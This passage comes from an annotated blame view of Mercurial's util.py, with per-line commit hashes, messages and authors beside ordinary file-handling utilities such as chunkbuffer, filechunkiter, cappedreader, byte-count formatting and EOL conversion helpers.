2383 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2384
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2385 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2386
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2387 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2388 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2389 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2390 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2391 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2392 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2393 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2394 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2395
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2396 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2397 else:
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2398 buf.append(chunk[offset:offset + left])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2399 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2400 left -= chunkremaining
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2401
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
2402 return ''.join(buf)
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2403
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
2404 def filechunkiter(f, size=131072, limit=None):
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2405 """Create a generator that produces the data in the file size
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
2406 (default 131072) bytes at a time, up to optional limit (default is
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2407 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2408 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2409 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2410 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2411 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2412 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2413 while True:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2414 if limit is None:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2415 nbytes = size
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2416 else:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2417 nbytes = min(limit, size)
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
2418 s = nbytes and f.read(nbytes)
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2419 if not s:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2420 break
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2421 if limit:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
2422 limit -= len(s)
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2423 yield s
1320
5f277e73778f Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1312
diff changeset
2424
36362
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2425 class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2426 """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2427
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2428 Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2429 N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2430 limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2431
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2432 It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2433 in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2434 state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2435 """
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2436 def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2437 """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2438 self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2439 self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2440
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2441 def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2442 if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2443 return b''
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2444
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2445 if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2446 n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2447
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2448 data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2449 self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2450 assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2451
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2452 return data
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
2453
37052
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2454 def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2455 res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2456 if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2457 return None
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2458
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2459 b[0:len(res)] = res
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2460 return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37044
diff changeset
2461
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2462 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2463 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2464
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2465 def go(count):
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2466 for multiplier, divisor, format in unittable:
31946
f3b80537a70d util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents: 31934
diff changeset
2467 if abs(count) >= divisor * multiplier:
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2468 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2469 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2470
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2471 return go
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2472
31662
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2473 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2474 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2475 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2476
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2477 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2478 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2479 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2480 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2481 ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2482 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2483 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2484 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2485 ...
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2486 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2487 """
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2488 if toline - fromline < 0:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2489 raise error.ParseError(_("line range must be positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2490 if fromline < 1:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2491 raise error.ParseError(_("fromline must be strictly positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2492 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
2493
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
2494 bytecount = unitcountfn(
16397
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2495 (100, 1 << 30, _('%.0f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2496 (10, 1 << 30, _('%.1f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2497 (1, 1 << 30, _('%.2f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2498 (100, 1 << 20, _('%.0f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2499 (10, 1 << 20, _('%.1f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2500 (1, 1 << 20, _('%.2f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2501 (100, 1 << 10, _('%.0f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2502 (10, 1 << 10, _('%.1f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2503 (1, 1 << 10, _('%.2f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2504 (1, 1, _('%.0f bytes')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2505 )
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
2506
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2507 class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2508 """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2509
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2510 def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2511 self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2512 self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2513
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2514 def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2515 self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2516
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2517 def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2518 self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2519
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2520 def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2521 return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2522
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2523 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2524 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2525 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2526 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2527
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2528 def tolf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2529 return _eolre.sub('\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2530
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2531 def tocrlf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2532 return _eolre.sub('\r\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
2533
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2534 def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2535 return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2536
31777
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2537 if pycompat.oslinesep == '\r\n':
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2538 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2539 fromnativeeol = tolf
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2540 nativeeolwriter = _crlfwriter
31777
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2541 else:
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2542 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2543 fromnativeeol = pycompat.identity
36837
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents: 36835
diff changeset
2544 nativeeolwriter = pycompat.identity
31777
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
2545
30418
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2546 if (pyplatform.python_implementation() == 'CPython' and
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2547 sys.version_info < (3, 0)):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2548 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2549 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2550 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2551 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2552 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2553 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2554 # fp.__iter__ | buggy | buggy | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2555 # fp.read* | buggy | okay [1] | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2556 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2557 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2558 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2559 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2560 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2561 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2562 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2563 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2564 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2565 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2566 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2567 # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2568 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2569 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2570 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2571 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2572 if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2573 # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2574 def _safeiterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2575 return iter(fp.readline, '')
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30417
diff changeset
2576 else:
